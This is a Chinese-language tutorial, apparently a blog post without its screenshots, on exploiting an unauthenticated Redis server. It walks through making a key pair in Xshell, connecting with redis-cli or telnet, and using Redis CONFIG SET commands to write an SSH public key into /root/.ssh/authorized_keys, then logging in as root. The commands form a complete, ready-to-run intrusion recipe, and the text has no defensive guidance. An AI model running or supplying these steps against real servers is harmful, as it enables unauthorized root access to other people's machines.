Xshell工具利用Redis 6379写入SSH公钥漏洞

0x00 前期准备

工具使用：xshell
基础环境：
1. 启动ssh和redis服务
2. 防火墙放行22、6379端口（或关闭防火墙）

0x01 Xshell制作RSA密钥对

工具–>新建用户密钥生成向导,
然后一路下一步


这里由于是没有设置密钥，所以会出现弹窗，不用管，直接是

这个就是公钥了，也就是我们要写入的部分，但是别慌，直接保存下来一会再看

最后会出现这样的界面

0x02 redis写入ssh公钥

如果没有redis-cli，也可以使用telnet进行远程连接

telnet ip port
redis-cli -h ip -p port

注意修改协议，ip和端口，redis的端口默认为6379

连接上后就是这样，如要测试是否连接成功，执行ping即可

出现pong，即表示成功

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\n[替换]\n\n\n"

记得用公钥将’[替换]'进行替换

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAxVxlzw83oSzzYDSA8+5ncAZZbLKBtEvbVjFBpMyMiEj4NX+/3mA6RrlfQCfshYqP+vkxsj6o9YkI3d+3izKuqT4CUXcTdAanv7nnttXT6QqMFlZw7Ipa2RdwoJ304gD/d5j6pE8ht9qzEURkhCSrJFLR+xvjnDlcvrST07WbX7fKVvH85iFgX3I+Oas930MEp+hPoPy7Vs0PQJqPQvPXDwTUilbJs4gm4yQctA4XSdCIFUrtok07Okjm/bwTX4Coohrm22+I+jtRWHuxv9Cuk2npOyMdBrw+EQyTq8AW5lUsFjCFKAz9IWX/PFKAoPRMA3oacduTK8288fTxVbSw==\n\n\n"

第三个命令，至于为什么要在公钥前和后都使用换行符，这里因为公钥在authorized_keys文件中只有顶格写才能生效

在窗口一路复制粘贴命令即可

0x04 Xshell使用密钥连接到主机

这里正常填ssh服务的端口22

在身份验证这里选择public key 然后进行设置，选择使用密钥进行连接
记住要选中public key 不然设置是灰色的，无法进行点击


然后一路确定，最后环境使用root身份进行登陆即可